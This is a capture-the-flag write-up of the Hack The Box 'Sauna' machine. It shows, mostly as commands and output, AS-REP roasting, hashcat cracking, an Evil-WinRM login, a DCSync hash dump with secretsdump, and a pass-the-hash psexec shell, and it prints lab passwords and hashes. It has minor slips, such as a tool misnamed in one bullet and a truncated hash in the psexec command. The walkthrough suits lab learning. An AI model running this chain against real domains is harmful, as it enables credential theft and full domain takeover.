Post

Sauna Walkthrough: From AS-REP Roasting to Domain Admin with DCSync Abuse

Walkthrough of HTB's Sauna machine

Posted
By Sidhartha Sunkara
6 min read
Sauna Walkthrough: From AS-REP Roasting to Domain Admin with DCSync Abuse

External Recon:

NMAP Scan:

Started the TCP scan with my default NMAP script:

1

sudo nmap -T5 -sS -n -Pn --disable-arp-ping -p- 10.10.10.175 --max-retries 0
  • -T5: Sets the timing template to “Insane” for faster scanning, suitable for reliable networks but may cause issues in unstable environments.
  • -sS: Performs a stealthy SYN scan, sending SYN packets to check for open ports.
  • -n: Disables DNS resolution for faster scans.
  • -Pn: Disables host discovery (ping), assuming the host is up.
  • --disable-arp-ping: Prevents ARP pinging to check if the host is live.
  • -p-: Scans all 65,535 ports.
  • --max-retries 0: Disables retries for faster but potentially less reliable results.

Unfortunately, this scan took a lot of time, so I updated the script for better results:

1
2

open_tcp_ports=$(sudo nmap -T5 -sS -n -Pn --disable-arp-ping -p- 10.10.10.175 --max-retries 0 --min-rate=1500 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -A -p $open_tcp_ports 10.10.10.175
  • --min-rate=1500: Ensures a minimum packet sending rate of 1500 packets per second for a faster scan.
  • grep ^[0-9]: Filters lines that start with numbers (port lines).
  • cut -d '/' -f 1: Extracts the port number from the Nmap output.
  • tr '\n' ',': Replaces newlines with commas to create a list of ports.
  • sed s/,$//: Removes the trailing comma.
  • -A: Enables aggressive scan, including version detection, OS detection, and script scanning.
  • -p $open_tcp_ports: Scans only the identified open ports for detailed information.

Scan Results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-12 14:56:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
49717/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| smb2-time: 
|   date: 2024-11-12T14:57:15
|_  start_date: N/A
|_clock-skew: 6h47m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

SMB Enumeration

Tried accessing SMB shares:

1

smbclient -L \\10.10.10.175 -N
  • -L: Lists available shares on the specified host.
  • -N: Connects without providing a password.

The attempt returned NT_STATUS_ACCESS_DENIED.

Website Recon

The website looks more like a static page. No interesting information was found except for a few usernames listed on about.html:

image.png

LDAP Enumeration

Since the domain name was not clear from the Nmap aggressive scan, I performed a dedicated Nmap LDAP script scan to determine the base and other interesting information:

1

nmap -n -sV --script "ldap* and not brute" 10.10.10.175
  • -n: Disables DNS resolution.
  • -sV: Enables service version detection.
  • --script "ldap* and not brute": Runs all LDAP-related scripts except brute force ones.

This scan revealed interesting information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

ldap-search: 
|   Context: DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: DC=EGOTISTICAL-BANK,DC=LOCAL
|         objectClass: top
|         objectClass: domain
|         objectClass: domainDNS
|         distinguishedName: DC=EGOTISTICAL-BANK,DC=LOCAL
dc: EGOTISTICAL-BANK
|     dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
|_    dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL

Consolidated various users and ran a name masher script to generate a list of possible usernames from a person’s first and last name:

1

python3 ./namemash.py /home/kali/Red_Team/HTB/Sauna/users.txt

Example output:

1
2
3
4
5
6
7
8
9
10
11
12
13

fergussmith
smithfergus
fergus.smith
smith.fergus
smithf
fsmith
sfergus
f.smith
s.fergus
fergus
smith
shauncoins
...

Checking for Users with Kerberos Pre-Auth Disabled

1
2
3
4
5
6
7
8
9

python3 /home/kali/Red_Team/Tools/impacket/examples/GetNPUsers.py egotistical-bank.local/ -dc-ip 10.10.10.175 -no-pass -usersfile /home/kali/Red_Team/HTB/Sauna/Possible_usernames.txt -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:071705659b238a48573739f3aa41346a$52541a7614e1eb24302a8a772e7de2e9065328c3d4ac377e76d6706e5b7c5be795b076850b6da56d287ef548572371fbae34714e73508a351829aed7cbdf422f2bd06084fe74327cc2547e3e0b82b0a415f818857d20bec24b608823677c2f9b5b43b52114425f22450a79a0b6a8bac5a4acfce6c6695538e02b1435b46763f557950696891000024fedc4b02a421cbba00c06947ea53c19ba317a281849997e15ac64df77dff13c2c768230d77211edb2bee369d96c3fb1780a5da89ea8cdfd20e1f43ec3ff55bbd1741097269c601fc22d40556318a1b6e302469e6f6cd9006151e7bed0e0dadde4d53d5ecd440eb648f54484571f03d489378b826932eff0
  • python3 GetUserSPNs.py: A tool from the Impacket suite to enumerate Service Principal Names (SPNs). We have user account named fmsith@egotistical-bank.local has pre-auth disabled.

Password Cracking

After obtaining the AS-REP hash, attempt to crack it using Hashcat with mode 18200, which is specifically designed for Kerberos AS-REP hashes. Here, I used the popular rockyou.txt wordlist to brute-force the password:

1

hashcat -m 18200 -a 0 /home/kali/Red_Team/HTB/Sauna/tgt.txt /usr/share/wordlists/rockyou.txt

The hash is successfully cracked, revealing the credentials fsmith:Thestrokes23.

Gaining Access with Evil-WinRM

Using the cracked credentials, logged into the machine with Evil-WinRM to gain an interactive PowerShell session:

1

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

Examining privileges of the user

image.png

Privilege escalation to Administrator

In addition to fsmith, there’s an additional user named svc_loanmgr

image.png

Uploaded and Launched WinPeas to find any potential ways to escalate privileges.

image.png

Found an interesting Autologon credentials

1
2
3
4
5

    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

Since I did not have detailed information about the privileges or permissions assigned to the compromised user account svc_loanmgr, I executed bloodhound-python to enumerate rights and permissions. The analysis revealed that svc_loanmgr has DCSync rights on the domain. This privilege allows the user to replicate directory data, effectively obtaining password hashes for all domain users, including the krbtgt account.

image.png

Using these credentials, ran the Impacket tool secretsdump.py and the dump revealed the NTLM hash for the Administrator account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

python3 /home/kali/Red_Team/Tools/impacket/examples/secretsdump.py svc_loanmgr@10.10.10.175 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:521621c534aa2841031bd15ba3c5318c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:a68bf80529ddc0ee6ae179890397c731e7bc9ad174de746187c0752f76216476
SAUNA$:aes128-cts-hmac-sha1-96:0fc0291296e0771f6c7b42b8b1140bfa
SAUNA$:des-cbc-md5:ad2aae3ec2b98a70
[*] Cleaning up...

Used the hash with psexec.py to gain Administrator privileges:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

python3 /home/kali/Red_Team/Tools/impacket/examples/psexec.py administrator@10.10.10.175 -hashes ad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file EElkbTcN.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service xEkr on 10.10.10.175.....
[*] Starting service xEkr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

References

Capture the Flags, Windows
HTB ldap on-prem privesc asrep
This post is licensed under CC BY 4.0 by the author.